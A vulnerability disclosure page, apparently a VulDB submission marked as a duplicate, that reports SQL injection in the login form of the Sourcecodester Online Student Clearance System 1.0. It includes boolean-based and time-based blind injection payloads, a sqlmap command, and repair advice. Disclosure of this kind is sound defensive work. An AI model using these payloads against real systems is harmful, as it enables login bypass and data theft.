| タイトル | Sourcecodester Online Student Clearance System Project 1.0 /Admin/login.php SQL injection |
|---|
| 説明 | # Sourcecodester Online Student Clearance System Project V1.0 /Admin/login.php SQL injection
#### NAME OF AFFECTED PRODUCT(S)
- Online Student Clearance System
#### Vendor Homepage
- https://www.sourcecodester.com/php/17892/online-clearance-system.html
#### submitter
- yudeshui
#### Vulnerable File
- /Admin/login.php
#### VERSION(S)
- V1.0
#### Software Link
- https://www.sourcecodester.com/sites/default/files/download/Senior%20Walter/student_clearance_system_aurthur_javis.zip
PROBLEM TYPE
#### Vulnerability Type
- SQL injection
####Root Cause
- A SQL injection vulnerability was found in the '/Admin/login.php file of the 'Online Student Clearance System' project. The reason for this issue is that attackers inject malicious code from the parameter 'txtusername‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
#### Impact
- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
####DESCRIPTION
- During the security review of "Online Student Clearance System",I discovered a critical SQL injection vulnerability in the "/Admin/login.php" file. This vulnerability stems from insufficient user input validation of the 'txtusername' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.
Authorization is required to exploit this vulnerability
####Vulnerability details and POC
```
---
Parameter: txtusername (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: txtusername=-9758' OR 4036=4036-- mfou&txtpassword=test&btnlogin=Sign In
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: txtusername=test' AND (SELECT 7488 FROM (SELECT(SLEEP(5)))YATu)-- NIhz&txtpassword=test&btnlogin=Sign In
---
```
#### sqlmap
```
sqlmap -u "http://dede:802/Admin/login.php" \
--data="txtusername=test&txtpassword=test&btnlogin=Sign+In" \
--batch \
--level=5 \
--risk=3
```
<img width="1294" height="741" alt="Image" src="https://github.com/user-attachments/assets/ed6a8ac9-beb4-42f8-b350-99006a1119d0" />
Vulnerability lonameion:
- 'txtusername' parameter
## **Suggested repair**
1. Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
2. Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
3. Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
4. Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities. |
|---|
| ソース | ⚠️ https://github.com/rassec2/dbcve/issues/7 |
|---|
| ユーザー | yudeshui (UID 91129) |
|---|
| 送信 | 2025年11月24日 06:19 (7 月 ago) |
|---|
| モデレーション | 2025年12月07日 08:58 (13 days later) |
|---|
| ステータス | 重複 |
|---|
| VulDBエントリ | 307432 [SourceCodester Online Student Clearance System 1.0 /Admin/login.php id/username/password SQLインジェクション] |
|---|
| ポイント | 0 |
|---|